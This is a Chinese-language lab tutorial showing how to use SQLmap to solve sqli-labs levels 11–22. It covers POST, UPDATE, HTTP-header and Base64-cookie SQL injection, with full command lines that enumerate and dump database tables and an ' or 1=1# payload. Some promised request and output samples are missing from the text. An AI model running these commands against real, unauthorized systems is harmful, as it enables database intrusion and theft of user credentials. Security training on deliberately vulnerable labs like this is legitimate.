SQLmap 通关 sqli-labs 系列(三):POST、UPDATE 与 HTTP 头注入
摘要:上一篇我们拿下了 GET 型注入的各种变体。现实世界的登录、搜索、用户中心几乎都使用 POST 方法传递数据,注入点还经常藏在 Cookie、User-Agent、Referer 等 HTTP 头中。本篇将用 SQLmap 彻底解决 Less-11 到 Less-22,涵盖 POST 报错注入、双注入、盲注、UPDATE 注入、User-Agent/Referer 注入、Cookie 注入以及 Base64 编码的 Cookie。我们将重点学习--data、-r请求文件、--level、--risk、--tamper=base64encode等核心参数,让任何位置的注入点都无所遁形。
一、新场景:当注入点不在 URL 中
手工注入时,我们需要用 Burp Suite 抓包,修改 POST 数据或者头字段。SQLmap 同样需要知道完整的请求信息。它提供了两种方式:
--data:直接指定 POST 数据字符串。-r:读取一个完整的 HTTP 请求文件。
二、POST 注入核心关卡:Less-11 到 Less-17
2.1 准备工作:抓取请求文件
首先,在浏览器中访问 sqli-labs,打开 Less-11 登录页面。用 Burp Suite 拦截登录请求(用户名 admin,密码 admin,提交),将截获的完整请求(包含 Host、Cookie、Content-Type 和 POST body)复制保存为less.txt。内容大致如下:
这就是我们日后反复使用的“模板”。每个关卡只需修改 URL 路径和请求体中的参数即可。
2.2 Less-11:POST 报错注入
sqlmap -r less.txt --batch --dbsSQLmap 会测试uname和passwd,最终输出:
选择uname作为注入点,然后继续枚举表、列、数据:
sqlmap -r less.txt -D security --tables --batch sqlmap -r less.txt -D security -T users --columns --batch sqlmap -r less.txt -D security -T users --dump --batch2.3 Less-12:POST 括号双引号
抓取 Less-12 的登录请求,修改less.txt。
命令不变:
sqlmap -r less.txt --batch --dbsSQLmap 自动用")闭合,无需人工干预。
2.4 Less-13 和 Less-14:POST 双注入
Less-13 为单引号括号双注入,Less-14 为双引号。同样使用-r文件:
sqlmap -r less.txt --batch --dbs皆可秒破。
2.5 Less-15 和 Less-16:POST 盲注
sqlmap -r less.txt --technique B --batch --dbs //布尔盲注sqlmap -r less.txt --technique T --time-sec 2 --batch --dbs //时间盲注可指定,盲注过程稍长,耐心等待即可。
2.6 Less-17:UPDATE 注入(密码修改)
这一关是修改密码的表单,后台执行UPDATE users SET password='...' WHERE username='...',注入点在用户名处。抓取修改密码的请求(提供新密码),保存为less.txt,然后:
sqlmap -r less.txt --batch --dbsSQLmap 会发现uname参数存在注入。注意,这里因为执行的是 UPDATE,可能存在数据变更风险,但 sqli-labs 可随时重置。
三、HTTP 头注入:Less-18 和 Less-19
3.1 升级探测等级:--level与--risk
SQLmap 默认只测试 GET 和 POST 参数(--level 1)。要测试其他位置,必须提高 level:
--level 2:增加Cookie测试。--level 3:增加User-Agent和Referer测试。--level 4-5:测试更多 Header。
--risk是风险等级,值越高,Payload 越激进(如使用 OR、SLEEP 等),在 sqli-labs 中我们可放心使用--risk 2或 3。
3.2 Less-18:User-Agent 注入
关卡行为:登录成功后,页面会将你的 User-Agent 和 IP 插入数据库。注入点在User-Agent头。
sqlmap -r less.txt --level 3 --risk 2 --batch --dbsSQLmap 在测试User-Agent参数时会输出:
避坑指南:如果没测出,多半是 Cookie 已过期,导致登录状态失效,页面没有执行 INSERT 操作。务必使用刚登录后的有效请求。
3.3 Less-19:Referer 注入
与 Less-18 几乎一样,只是注入点换成了Referer头。抓取任意包含 Referer 的请求,保存为less.txt,然后用同样命令:
sqlmap -r less.txt --level 3 --risk 2 --batch --dbs四、Cookie 注入:Less-20、Less-21、Less-22
4.1 Less-20:明文 Cookie 注入
登录后,Less-20 将用户名存入 Cookie(uname=admin),并在查询时拼接。在--level 2下,Cookie 会被测试。直接用--cookie参数:
sqlmap -u "http://192.168.137.1/sqli-labs/Less-20/" --cookie="uname=admin" --level 2 --batch --dbs4.2 Less-21:Cookie Base64 编码注入
后台逻辑:base64_decode($_COOKIE['uname'])后拼入 SQL。直接送' or 1=1#会因编码失效。我们需要使用 Tamper 脚本base64encode,它在 Payload 发送前先进行 Base64 编码。
sqlmap -u "http://192.168.137.1/sqli-labs/Less-21/" --cookie="uname=admin" --tamper=base64encode --level 2 --batch --dbs你会看到提示加载了base64encode模块,随后注入成功。
4.3 Less-22:Cookie Base64 双引号
闭合方式不同,但方法完全一样:
sqlmap -u "http://192.168.137.1/sqli-labs/Less-22/" --cookie="uname=admin" --tamper=base64encode --level 2 --batch --dbs五、总结
通过本文,你将 POST 注入、UPDATE 注入、HTTP 头注入、Cookie 注入尽数掌握。核心要点回顾:
用
-r文件保存完整请求,可复用 Cookie 和所有 Header。灵活运用
--level和--risk扩大测试范围。遇到 Base64 编码,用
--tamper=base64encode一键适配。
真正的强大,在于知道工具背后发生了什么。当你看着 Tamper 脚本变形 Payload 时,请回想手工注入的奇技淫巧,它们本是一脉相承。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。
